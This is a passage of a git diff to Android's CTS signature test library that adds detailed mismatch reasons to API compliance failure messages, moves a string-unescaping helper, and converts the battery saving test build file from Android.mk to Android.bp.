+                if (currentClass != null) {
+                    logd(String.format("currentClass: %s", currentClass.toSignatureString()));
+                }
+                if (currentMethod != null) {
+                    logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
+                }
+            }
+
+            return null;
+        }
+    }
+
+    private void logd(String msg) {
+        Log.d(tag, msg);
+    }
+
+    // This unescapes the string format used by doclava and so needs to be kept in sync with any
+    // changes made to that format.
+    private static String unescapeFieldStringValue(String str) {
+        // Skip over leading and trailing ".
+        int start = 0;
+        if (str.charAt(start) == '"') {
+            ++start;
+        }
+        int end = str.length();
+        if (str.charAt(end - 1) == '"') {
+            --end;
+        }
+
+        // If there's no special encoding strings in the string then just return it without the
+        // leading and trailing "s.
+        if (str.indexOf('\\') == -1) {
+            return str.substring(start, end);
+        }
+
+        final StringBuilder buf = new StringBuilder(str.length());
+        char escaped = 0;
+        final int START = 0;
+        final int CHAR1 = 1;
+        final int CHAR2 = 2;
+        final int CHAR3 = 3;
+        final int CHAR4 = 4;
+        final int ESCAPE = 5;
+        int state = START;
+
+        for (int i = start; i < end; i++) {
+            final char c = str.charAt(i);
+            switch (state) {
+                case START:
+                    if (c == '\\') {
+                        state = ESCAPE;
+                    } else {
+                        buf.append(c);
+                    }
+                    break;
+                case ESCAPE:
+                    switch (c) {
+                        case '\\':
+                            buf.append('\\');
+                            state = START;
+                            break;
+                        case 't':
+                            buf.append('\t');
+                            state = START;
+                            break;
+                        case 'b':
+                            buf.append('\b');
+                            state = START;
+                            break;
+                        case 'r':
+                            buf.append('\r');
+                            state = START;
+                            break;
+                        case 'n':
+                            buf.append('\n');
+                            state = START;
+                            break;
+                        case 'f':
+                            buf.append('\f');
+                            state = START;
+                            break;
+                        case '\'':
+                            buf.append('\'');
+                            state = START;
+                            break;
+                        case '\"':
+                            buf.append('\"');
+                            state = START;
+                            break;
+                        case 'u':
+                            state = CHAR1;
+                            escaped = 0;
+                            break;
+                    }
+                    break;
+                case CHAR1:
+                case CHAR2:
+                case CHAR3:
+                case CHAR4:
+                    escaped <<= 4;
+                    if (c >= '0' && c <= '9') {
+                        escaped |= c - '0';
+                    } else if (c >= 'a' && c <= 'f') {
+                        escaped |= 10 + (c - 'a');
+                    } else if (c >= 'A' && c <= 'F') {
+                        escaped |= 10 + (c - 'A');
+                    } else {
+                        throw new RuntimeException(
+                                "bad escape sequence: '" + c + "' at pos " + i + " in: \""
+                                        + str + "\"");
+                    }
+                    if (state == CHAR4) {
+                        buf.append(escaped);
+                        state = START;
+                    } else {
+                        state++;
+                    }
+                    break;
+            }
+        }
+        if (state != START) {
+            throw new RuntimeException("unfinished escape sequence: " + str);
+        }
+        return buf.toString();
+    }
+
+    /**
+     * Canonicalize a possibly generic type.
+     */
+    private static String canonicalizeType(String type) {
+        // Remove trailing spaces after commas.
+        return type.replace(", ", ",");
+    }
+}
diff --git a/tests/signature/lib/common/Android.bp b/tests/signature/lib/common/Android.bp
index 31fb149..81a9f8c 100644
--- a/tests/signature/lib/common/Android.bp
+++ b/tests/signature/lib/common/Android.bp
@@ -14,6 +14,9 @@
 
 java_library_static {
   name: "signature-common-javalib",
+  visibility: [
+      "//cts/tests/signature:__subpackages__",
+  ],
   host_supported: true,
   installable: false,
   srcs: ["src/**/*.java"],
diff --git a/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java b/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
index 75632ac..03c4a85 100644
--- a/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/AbstractApiChecker.java
@@ -19,7 +19,9 @@
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashMap;
+import java.util.LinkedHashMap;
 import java.util.Map;
+import java.util.stream.Collectors;
 
 /**
  * Base class for those that process a set of API definition files and perform some checking on
@@ -187,14 +189,22 @@
      */
     private void checkConstructorCompliance(JDiffClassDescription classDescription,
             Class<?> runtimeClass) {
+        Map<Constructor, String> mismatchReasons = new LinkedHashMap<>();
         for (JDiffClassDescription.JDiffConstructor con : classDescription.getConstructors()) {
             try {
-                Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con);
+                Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con,
+                        mismatchReasons);
                 if (c == null) {
                     resultObserver.notifyFailure(FailureType.MISSING_CONSTRUCTOR,
                             con.toReadableString(classDescription.getAbsoluteClassName()),
-                            "No constructor with correct signature found:" +
-                                    con.toSignatureString());
+                            String.format(
+                                    "No constructor with correct signature found. The following"
+                                            + " constructors were rejected:\n%s",
+                                    mismatchReasons.entrySet()
+                                            .stream()
+                                            .map(e -> String.format("\t\t%s - %s\n",
+                                                    e.getKey(), e.getValue()))
+                                            .collect(Collectors.joining())));
                 } else {
                     checkConstructor(classDescription, runtimeClass, con, c);
                 }
@@ -220,18 +230,27 @@
      */
     private void checkMethodCompliance(JDiffClassDescription classDescription,
             Class<?> runtimeClass) {
+        Map<Method, String> mismatchReasons = new LinkedHashMap<>();
         for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
             try {
-
-                Method m = ReflectionHelper.findMatchingMethod(runtimeClass, method);
+                Method m = ReflectionHelper.findMatchingMethod(
+                        runtimeClass, method, mismatchReasons);
                 if (m == null) {
                     resultObserver.notifyFailure(FailureType.MISSING_METHOD,
                             method.toReadableString(classDescription.getAbsoluteClassName()),
-                            "No method with correct signature found, looking for:" +
-                                    method.toSignatureString());
+                            String.format(
+                                    "No method with correct signature found. The following methods"
+                                            + " with the same name were rejected:\n%s",
+                                    mismatchReasons.entrySet()
+                                            .stream()
+                                            .map(e -> String.format("\t\t%s - %s\n",
+                                                    e.getKey(), e.getValue()))
+                                            .collect(Collectors.joining())));
                 } else {
                     checkMethod(classDescription, runtimeClass, method, m);
                 }
+                // Clear the list.
+                mismatchReasons.clear();
             } catch (Exception e) {
                 LogHelper.loge("Got exception when checking method compliance", e);
                 resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
diff --git a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
index b346648..df7c18b 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ApiComplianceChecker.java
@@ -15,11 +15,13 @@
  */
 package android.signature.cts;
 
+import android.signature.cts.JDiffClassDescription.JDiffField;
+import android.signature.cts.ReflectionHelper.DefaultTypeComparator;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.lang.reflect.Modifier;
-import java.lang.reflect.Type;
+import java.util.Formatter;
 import java.util.HashSet;
 import java.util.Objects;
 import java.util.Set;
@@ -99,14 +101,16 @@
             // check father class
             if (!checkClassExtendsCompliance(classDescription, runtimeClass)) {
                 resultObserver.notifyFailure(FailureType.mismatch(classDescription),
-                        classDescription.getAbsoluteClassName(), "Extends mismatch");
+                        classDescription.getAbsoluteClassName(),
+                        "Extends mismatch, expected " + classDescription.getExtendedClass());
                 return false;
             }
 
             // check implements interface
             if (!checkClassImplementsCompliance(classDescription, runtimeClass)) {
                 resultObserver.notifyFailure(FailureType.mismatch(classDescription),
-                        classDescription.getAbsoluteClassName(), "Implements mismatch");
+                        classDescription.getAbsoluteClassName(),
+                        "Implements mismatch, expected " + classDescription.getImplInterfaces());
                 return false;
             }
         }
@@ -162,7 +166,7 @@
             return null;
         } else {
             return String.format("modifier mismatch - description (%s), class (%s)",
-                    Modifier.toString(apiModifiers), Modifier.toString(reflectionModifiers));
+                    getModifierString(apiModifiers), getModifierString(reflectionModifiers));
         }
     }
 
@@ -254,33 +258,72 @@
 
     @Override
     protected void checkField(JDiffClassDescription classDescription, Class<?> runtimeClass,
-            JDiffClassDescription.JDiffField fieldDescription, Field field) {
-        if (field.getModifiers() != fieldDescription.mModifier) {
+            JDiffField fieldDescription, Field field) {
+        int expectedModifiers = fieldDescription.mModifier;
+        int actualModifiers = field.getModifiers();
+        if (actualModifiers != expectedModifiers) {
             resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
                     fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                    "Non-compatible field modifiers found when looking for " +
-                            fieldDescription.toSignatureString());
-        } else if (!checkFieldValueCompliance(fieldDescription, field)) {
-            resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
-                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                    "Incorrect field value found when looking for " +
-                            fieldDescription.toSignatureString());
-        } else if (!field.getType().getCanonicalName().equals(fieldDescription.mFieldType)) {
-            // type name does not match, but this might be a generic
-            String genericTypeName = null;
-            Type type = field.getGenericType();
-            if (type != null) {
-                genericTypeName = type instanceof Class ? ((Class<?>) type).getName() :
-                        type.toString().replace('$', '.');
-            }
-            if (genericTypeName == null || !genericTypeName.equals(fieldDescription.mFieldType)) {
-                resultObserver.notifyFailure(
-                        FailureType.MISMATCH_FIELD,
-                        fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Non-compatible field type found when looking for " +
-                                fieldDescription.toSignatureString());
-            }
+                    String.format(
+                            "Incompatible field modifiers, expected %s, found %s",
+                            getModifierString(expectedModifiers),
+                            getModifierString(actualModifiers)));
         }
+
+        String expectedFieldType = fieldDescription.mFieldType;
+        String actualFieldType = ReflectionHelper.typeToString(field.getGenericType());
+        if (!DefaultTypeComparator.INSTANCE.compare(expectedFieldType, actualFieldType)) {
+            resultObserver.notifyFailure(
+                    FailureType.MISMATCH_FIELD,
+                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
+                    String.format("Incompatible field type found, expected %s, found %s",
+                            expectedFieldType, actualFieldType));
+        }
+
+        String message = checkFieldValueCompliance(fieldDescription, field);
+        if (message != null) {
+            resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+                    fieldDescription.toReadableString(classDescription.getAbsoluteClassName()),
+                    message);
+        }
+    }
+
+    private static final int BRIDGE    = 0x00000040;
+    private static final int VARARGS   = 0x00000080;
+    private static final int SYNTHETIC = 0x00001000;
+    private static final int ANNOTATION  = 0x00002000;
+    private static final int ENUM      = 0x00004000;
+    private static final int MANDATED  = 0x00008000;
+
+    private static String getModifierString(int modifiers) {
+        Formatter formatter = new Formatter();
+        String m = Modifier.toString(modifiers);
+        formatter.format("<%s", m);
+        String sep = m.isEmpty() ? "" : " ";
+        if ((modifiers & BRIDGE) != 0) {
+            formatter.format("%senum", sep);
+            sep = " ";
+        }
+        if ((modifiers & VARARGS) != 0) {
+            formatter.format("%svarargs", sep);
+            sep = " ";
+        }
+        if ((modifiers & SYNTHETIC) != 0) {
+            formatter.format("%ssynthetic", sep);
+            sep = " ";
+        }
+        if ((modifiers & ANNOTATION) != 0) {
+            formatter.format("%sannotation", sep);
+            sep = " ";
+        }
+        if ((modifiers & ENUM) != 0) {
+            formatter.format("%senum", sep);
+            sep = " ";
+        }
+        if ((modifiers & MANDATED) != 0) {
+            formatter.format("%smandated", sep);
+        }
+        return formatter.format("> (0x%x)", modifiers).toString();
     }
 
     /**
@@ -289,76 +332,86 @@
      * @param apiField The field as defined by the platform API.
      * @param deviceField The field as defined by the device under test.
      */
-    private static boolean checkFieldValueCompliance(JDiffClassDescription.JDiffField apiField, Field deviceField) {
+    private static String checkFieldValueCompliance(JDiffField apiField, Field deviceField) {
         if ((apiField.mModifier & Modifier.FINAL) == 0 ||
                 (apiField.mModifier & Modifier.STATIC) == 0) {
             // Only final static fields can have fixed values.
-            return true;
+            return null;
         }
-        if (apiField.getValueString() == null) {
+        String apiFieldValue = apiField.getValueString();
+        if (apiFieldValue == null) {
             // If we don't define a constant value for it, then it can be anything.
-            return true;
+            return null;
         }
+
+        // Convert char into a number to match the value returned from device field. The device
+        // field does not
+        if (deviceField.getType() == char.class) {
+            apiFieldValue = convertCharToCanonicalValue(apiFieldValue.charAt(0));
+        }
+
+        String deviceFieldValue = getFieldValueAsString(deviceField);
+        if (!Objects.equals(apiFieldValue, deviceFieldValue)) {
+            return String.format("Incorrect field value, expected <%s>, found <%s>",
+                    apiFieldValue, deviceFieldValue);
+
+        }
+
+        return null;
+    }
+
+    private static String getFieldValueAsString(Field deviceField) {
         // Some fields may be protected or package-private
         deviceField.setAccessible(true);
         try {
-            switch (apiField.mFieldType) {
-                case "byte":
-                    return Objects.equals(apiField.getValueString(),
-                            Byte.toString(deviceField.getByte(null)));
-                case "char":
-                    return Objects.equals(apiField.getValueString(),
-                            Integer.toString(deviceField.getChar(null)));
-                case "short":
-                    return Objects.equals(apiField.getValueString(),
-                            Short.toString(deviceField.getShort(null)));
-                case "int":
-                    return Objects.equals(apiField.getValueString(),
-                            Integer.toString(deviceField.getInt(null)));
-                case "long":
-                    return Objects.equals(apiField.getValueString(),
-                            Long.toString(deviceField.getLong(null)) + "L");
-                case "float":
-                    return Objects.equals(apiField.getValueString(),
-                            canonicalizeFloatingPoint(
-                                    Float.toString(deviceField.getFloat(null)), "f"));
-                case "double":
-                    return Objects.equals(apiField.getValueString(),
-                            canonicalizeFloatingPoint(
-                                    Double.toString(deviceField.getDouble(null)), ""));
-                case "boolean":
-                    return Objects.equals(apiField.getValueString(),
-                            Boolean.toString(deviceField.getBoolean(null)));
-                case "java.lang.String":
-                    String value = apiField.getValueString();
-                    // Remove the quotes the value string is wrapped in
-                    value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
-                    return Objects.equals(value, deviceField.get(null));
-                default:
-                    return true;
+            Class<?> fieldType = deviceField.getType();
+            if (fieldType == byte.class) {
+                return Byte.toString(deviceField.getByte(null));
+            } else if (fieldType == char.class) {
+                return convertCharToCanonicalValue(deviceField.getChar(null));
+            } else if (fieldType == short.class) {
+                return  Short.toString(deviceField.getShort(null));
+            } else if (fieldType == int.class) {
+                return  Integer.toString(deviceField.getInt(null));
+            } else if (fieldType == long.class) {
+                return Long.toString(deviceField.getLong(null));
+            } else if (fieldType == float.class) {
+                return  canonicalizeFloatingPoint(
+                                Float.toString(deviceField.getFloat(null)));
+            } else if (fieldType == double.class) {
+                return  canonicalizeFloatingPoint(
+                                Double.toString(deviceField.getDouble(null)));
+            } else if (fieldType == boolean.class) {
+                return  Boolean.toString(deviceField.getBoolean(null));
+            } else if (fieldType == java.lang.String.class) {
+                return (String) deviceField.get(null);
+            } else {
+                return null;
             }
         } catch (IllegalAccessException e) {
             throw new RuntimeException(e);
         }
     }
 
+    private static String convertCharToCanonicalValue(char c) {
+        return String.format("'%c' (0x%x)", c, (int) c);
+    }
+
     /**
      * Canonicalize the string representation of floating point numbers.
      *
      * This needs to be kept in sync with the doclava canonicalization.
      */
-    private static String canonicalizeFloatingPoint(String val, String suffix) {
+    private static String canonicalizeFloatingPoint(String val) {
         switch (val) {
             case "Infinity":
-                return "(1.0" + suffix + "/0.0" + suffix + ")";
             case "-Infinity":
-                return "(-1.0" + suffix + "/0.0" + suffix + ")";
             case "NaN":
-                return "(0.0" + suffix + "/0.0" + suffix + ")";
+                return val;
         }
 
         if (val.indexOf('E') != -1) {
-            return val + suffix;
+            return val;
         }
 
         // 1.0 is the only case where a trailing "0" is allowed.
@@ -368,108 +421,7 @@
         while (i >= d + 2 && val.charAt(i) == '0') {
             val = val.substring(0, i--);
         }
-        return val + suffix;
-    }
-
-    // This unescapes the string format used by doclava and so needs to be kept in sync with any
-    // changes made to that format.
-    private static String unescapeFieldStringValue(String str) {
-        final int N = str.length();
-
-        // If there's no special encoding strings in the string then just return it.
-        if (str.indexOf('\\') == -1) {
-            return str;
-        }
-
-        final StringBuilder buf = new StringBuilder(str.length());
-        char escaped = 0;
-        final int START = 0;
-        final int CHAR1 = 1;
-        final int CHAR2 = 2;
-        final int CHAR3 = 3;
-        final int CHAR4 = 4;
-        final int ESCAPE = 5;
-        int state = START;
-
-        for (int i = 0; i < N; i++) {
-            final char c = str.charAt(i);
-            switch (state) {
-                case START:
-                    if (c == '\\') {
-                        state = ESCAPE;
-                    } else {
-                        buf.append(c);
-                    }
-                    break;
-                case ESCAPE:
-                    switch (c) {
-                        case '\\':
-                            buf.append('\\');
-                            state = START;
-                            break;
-                        case 't':
-                            buf.append('\t');
-                            state = START;
-                            break;
-                        case 'b':
-                            buf.append('\b');
-                            state = START;
-                            break;
-                        case 'r':
-                            buf.append('\r');
-                            state = START;
-                            break;
-                        case 'n':
-                            buf.append('\n');
-                            state = START;
-                            break;
-                        case 'f':
-                            buf.append('\f');
-                            state = START;
-                            break;
-                        case '\'':
-                            buf.append('\'');
-                            state = START;
-                            break;
-                        case '\"':
-                            buf.append('\"');
-                            state = START;
-                            break;
-                        case 'u':
-                            state = CHAR1;
-                            escaped = 0;
-                            break;
-                    }
-                    break;
-                case CHAR1:
-                case CHAR2:
-                case CHAR3:
-                case CHAR4:
-                    escaped <<= 4;
-                    if (c >= '0' && c <= '9') {
-                        escaped |= c - '0';
-                    } else if (c >= 'a' && c <= 'f') {
-                        escaped |= 10 + (c - 'a');
-                    } else if (c >= 'A' && c <= 'F') {
-                        escaped |= 10 + (c - 'A');
-                    } else {
-                        throw new RuntimeException(
-                                "bad escape sequence: '" + c + "' at pos " + i + " in: \""
-                                        + str + "\"");
-                    }
-                    if (state == CHAR4) {
-                        buf.append(escaped);
-                        state = START;
-                    } else {
-                        state++;
-                    }
-                    break;
-            }
-        }
-        if (state != START) {
-            throw new RuntimeException("unfinished escape sequence: " + str);
-        }
-        return buf.toString();
+        return val;
     }
 
     @Override
@@ -553,7 +505,7 @@
             return null;
         } else {
             return String.format("modifier mismatch - description (%s), method (%s), for %s",
-                Modifier.toString(apiModifiers), Modifier.toString(reflectionModifiers), genericString);
+                    getModifierString(apiModifiers), getModifierString(reflectionModifiers), genericString);
         }
     }
 
diff --git a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
index 6be5f96..66492ff 100644
--- a/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
+++ b/tests/signature/lib/common/src/android/signature/cts/InterfaceChecker.java
@@ -20,6 +20,7 @@
 import java.util.ArrayList;
 import java.util.Comparator;
 import java.util.HashSet;
+import java.util.LinkedHashMap;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
@@ -112,8 +113,9 @@
     }
 
     private boolean findMethod(JDiffClassDescription classDescription, Method method) {
+        Map<Method, String> matchNameNotSignature = new LinkedHashMap<>();
         for (JDiffClassDescription.JDiffMethod jdiffMethod : classDescription.getMethods()) {
-            if (ReflectionHelper.matches(jdiffMethod, method)) {
+            if (ReflectionHelper.matchesSignature(jdiffMethod, method, matchNameNotSignature)) {
                 return true;
             }
         }
diff --git a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
index 30584c9..97f11d0 100644
--- a/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
+++ b/tests/signature/lib/common/src/android/signature/cts/JDiffClassDescription.java
@@ -325,9 +325,9 @@
             StringBuilder sb = new StringBuilder();
 
             // access level
-            String accesLevel = convertModifiersToAccessLevel(mModifier);
-            if (!"".equals(accesLevel)) {
-                sb.append(accesLevel).append(" ");
+            String accessLevel = convertModifiersToAccessLevel(mModifier);
+            if (!"".equals(accessLevel)) {
+                sb.append(accessLevel).append(" ");
             }
 
             String modifierString = convertModifersToModifierString(mModifier);
diff --git a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
index 992b3fa..6b6140a 100644
--- a/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
+++ b/tests/signature/lib/common/src/android/signature/cts/ReflectionHelper.java
@@ -15,6 +15,8 @@
  */
 package android.signature.cts;
 
+import android.signature.cts.JDiffClassDescription.JDiffConstructor;
+import android.signature.cts.JDiffClassDescription.JDiffMethod;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
@@ -29,6 +31,7 @@
 import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
+import java.util.Map;
 import java.util.Set;
 
 /**
@@ -123,10 +126,12 @@
      *
      * @param runtimeClass the class in which to search.
      * @param jdiffDes constructor description to find.
+     * @param mismatchReasons a map from rejected constructor to the reason it was rejected.
      * @return reflected constructor, or null if not found.
      */
     static Constructor<?> findMatchingConstructor(Class<?> runtimeClass,
-            JDiffClassDescription.JDiffConstructor jdiffDes) {
+            JDiffConstructor jdiffDes, Map<Constructor, String> mismatchReasons) {
+
         for (Constructor<?> c : runtimeClass.getDeclaredConstructors()) {
             Type[] params = c.getGenericParameterTypes();
             boolean isStaticClass = ((runtimeClass.getModifiers() & Modifier.STATIC) != 0);
@@ -148,8 +153,15 @@
                 int i = 0;
                 int j = startParamOffset;
                 while (i < jdiffParamList.size()) {
-                    if (!compareParam(jdiffParamList.get(i), params[j],
+                    String expectedParameter = jdiffParamList.get(i);
+                    Type actualParameter = params[j];
+                    if (!compareParam(expectedParameter, actualParameter,
                             DefaultTypeComparator.INSTANCE)) {
+                        mismatchReasons.put(c,
+                                String.format("parameter %d mismatch: expected (%s), found (%s)",
+                                        i,
+                                        expectedParameter,
+                                        actualParameter));
                         isFound = false;
                         break;
                     }
@@ -159,6 +171,11 @@
                 if (isFound) {
                     return c;
                 }
+            } else {
+                mismatchReasons.put(c,
+                        String.format("parameter list length mismatch: expected %d, found %d",
+                                jdiffParamList.size(),
+                                params.length));
             }
         }
         return null;
@@ -204,25 +221,33 @@
      *
      * @param runtimeClass the class in which to search.
      * @param method description of the method to find
+     * @param mismatchReasons a map from rejected method to the reason it was rejected, only
+     *     contains methods with the same name.
      * @return the reflected method, or null if not found.
      */
-    static Method findMatchingMethod(Class<?> runtimeClass,
-            JDiffClassDescription.JDiffMethod method) {
+    static Method findMatchingMethod(
+            Class<?> runtimeClass, JDiffMethod method, Map<Method, String> mismatchReasons) {
 
         // Search through the class to find the methods just in case the method was actually
         // declared in a superclass which is not part of the API and so was made to appear as if
         // it was declared in each of the hidden class' subclasses. Cannot use getMethods() as that
         // will only return public methods and the API includes protected methods.
-        while (runtimeClass != null) {
-            Method[] methods = runtimeClass.getDeclaredMethods();
+        Class<?> currentClass = runtimeClass;
+        while (currentClass != null) {
+            Method[] reflectedMethods = currentClass.getDeclaredMethods();
 
-            for (Method m : methods) {
-                if (matches(method, m)) {
-                    return m;
+            for (Method reflectedMethod : reflectedMethods) {
+                // If the method names aren't equal, the methods can't match.
+                if (!method.mName.equals(reflectedMethod.getName())) {
+                    continue;
+                }
+
+                if (matchesSignature(method, reflectedMethod, mismatchReasons)) {
+                    return reflectedMethod;
                 }
             }
 
-            runtimeClass = runtimeClass.getSuperclass();
+            currentClass = currentClass.getSuperclass();
         }
 
         return null;
@@ -233,15 +258,12 @@
      *
      * @param jDiffMethod the jDiffMethod to compare
      * @param reflectedMethod the reflected method to compare
+     * @param mismatchReasons map from method to reason it did not match, used when reporting
+     *     missing methods.
      * @return true, if both methods are the same
      */
-    static boolean matches(JDiffClassDescription.JDiffMethod jDiffMethod,
-            Method reflectedMethod) {
-        // If the method names aren't equal, the methods can't match.
-        if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
-            return false;
-        }
-
+    static boolean matchesSignature(JDiffMethod jDiffMethod, Method reflectedMethod,
+            Map<Method, String> mismatchReasons) {
         // If the method is a bridge then use a special comparator for comparing types as
         // bridge methods created for generic methods may not have generic signatures.
         // See b/123558763 for more information.
@@ -250,19 +272,26 @@
 
         String jdiffReturnType = jDiffMethod.mReturnType;
         String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
-        List<String> jdiffParamList = jDiffMethod.mParamList;
 
         // Next, compare the return types of the two methods.  If
         // they aren't equal, the methods can't match.
         if (!typeComparator.compare(jdiffReturnType, reflectionReturnType)) {
+            mismatchReasons.put(reflectedMethod,
+                    String.format("return type mismatch: expected %s, found %s", jdiffReturnType,
+                            reflectionReturnType));
             return false;
         }
 
+        List<String> jdiffParamList = jDiffMethod.mParamList;
         Type[] params = reflectedMethod.getGenericParameterTypes();
 
         // Next, check the method parameters.  If they have different
         // parameter lengths, the two methods can't match.
         if (jdiffParamList.size() != params.length) {
+            mismatchReasons.put(reflectedMethod,
+                    String.format("parameter list length mismatch: expected %s, found %s",
+                            jdiffParamList.size(),
+                            params.length));
             return false;
         }
 
@@ -290,15 +319,25 @@
         StringBuilder reflectedMethodParams = new StringBuilder("");
         StringBuilder jdiffMethodParams = new StringBuilder("");
 
+        String sep = "";
         for (int i = 0; i < jdiffParamList.size(); i++) {
-            jdiffMethodParams.append(jdiffParamList.get(i));
-            reflectedMethodParams.append(params[i]);
+            jdiffMethodParams.append(sep).append(jdiffParamList.get(i));
+            reflectedMethodParams.append(sep).append(params[i].getTypeName());
+            sep = ", ";
         }
 
         String jDiffFName = jdiffMethodParams.toString();
         String refName = reflectedMethodParams.toString();
 
-        return jDiffFName.equals(refName);
+        boolean signatureMatches = jDiffFName.equals(refName);
+        if (!signatureMatches) {
+            mismatchReasons.put(reflectedMethod,
+                    String.format("parameter signature mismatch: expected (%s), found (%s)",
+                            jDiffFName,
+                            refName));
+        }
+
+        return signatureMatches;
     }
 
     /**
@@ -328,7 +367,7 @@
      * @param type the type to convert.
      * @return the jdiff formatted string.
      */
-    private static String typeToString(Type type) {
+    public static String typeToString(Type type) {
         if (type instanceof ParameterizedType) {
             ParameterizedType pt = (ParameterizedType) type;
 
@@ -341,7 +380,9 @@
             for (Type t : types) {
                 sb.append(typeToString(t));
                 if (++elementNum < types.length) {
-                    sb.append(", ");
+                    // Must match separator used in
+                    // android.signature.cts.KtHelper.toDefaultTypeString.
+                    sb.append(",");
                 }
             }
 
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
index dc3e446..0a4558e 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -259,7 +259,7 @@
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
                 "VALUE_FIELD", "java.lang.String",
-                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\"\\u2708\"");
+                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\u2708");
         clz.addField(field);
         checkSignatureCompliance(clz);
         assertEquals(field.toSignatureString(), "public static final java.lang.String VALUE_FIELD");
diff --git a/tests/tests/batterysaving/Android.bp b/tests/tests/batterysaving/Android.bp
new file mode 100644
index 0000000..a40bb60
--- /dev/null
+++ b/tests/tests/batterysaving/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBatterySavingTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "BatterySavingCtsCommon",
+        "androidx.test.rules",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/batterysaving/Android.mk b/tests/tests/batterysaving/Android.mk
deleted file mode 100755
index 3dd2fbf..0000000
--- a/tests/tests/batterysaving/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    BatterySavingCtsCommon \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsBatterySavingTestCases
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/batterysaving/apps/Android.mk b/tests/tests/batterysaving/apps/Android.mk
deleted file mode 100644
index 9aaa6ac..0000000
--- a/tests/tests/batterysaving/apps/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
